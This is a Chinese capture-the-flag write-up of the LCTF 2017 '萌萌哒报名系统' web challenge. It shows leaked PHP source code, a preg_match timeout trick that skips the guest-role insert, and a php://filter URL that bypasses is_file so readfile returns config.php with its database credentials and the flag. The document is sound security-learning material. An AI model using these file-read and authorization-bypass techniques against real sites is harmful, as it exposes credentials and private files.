Chybeta

LCTF-2017-萌萌哒报名系统-writeup

趁着期中考,复习累了做几道ctf玩玩,只做出来3道web。感谢师傅们出的题!先放上简单的wp版本,一些细节后续再更新吧。

LCTF-2017-萌萌哒报名系统-writeup

Task

1
2
天依花了一整天的时间用IDE开发了一个报名系统,现在她睡着了,难道你们不想做点什么嘛XD?
http://123.206.120.239/

Solution

源码泄露

根据题目信息,用了IDE,比如phpstrom,以前做百度杯时碰到过。尝试访问:

1
http://123.206.120.239/.idea/workspace.xml

发现源码包:xdcms2333.zip。下载下来进行审计。

基本流程梳理

regisrer.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
?>

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>

php的preg_match


在code部分填入超长的字符串,并且符合preg_match匹配的模式。则在register.php在preg_match时导致超时php脚本停止,字符串guest没有被插入成功。之后在login.php中登陆用户跳转至member.php后,下述代码将会跳过:

1
2
3
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}

并在接下来的判断中,进入else分支:

1
2
3
4
5
6
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);

上次微信崩溃,好像也是正则匹配搞得鬼嘛。二者原理不同,不过应该还是有某种神似的。

php的is_file和readfile

在进入成功后,需要提供file参数来读取文件。需要绕过is_file,考虑配合php伪协议。

1
/member.php?file=php://filter/read=convert.base64-encode/resource=config.php

isfile判断为假,而readfile利用伪协议读取到config.php文件

得到config.php源码:

1
2
3
4
5
<?php
$user = "xdsec";
$pass = "xdsec";
$flag = "LCTF{pr3_maTch_1s_A_amaz1ng_Function}"
?>

flag:

1
LCTF{pr3_maTch_1s_A_amaz1ng_Function}

小结

  • PHP的preg_match
  • isfile、readfile
微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:LCTF-2017-萌萌哒报名系统-writeup

文章作者:chybeta

发布时间:2017年11月19日 - 20:11

最后更新:2017年11月20日 - 07:11

原始链接:http://chybeta.github.io/2017/11/19/LCTF-2017-萌萌哒报名系统-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。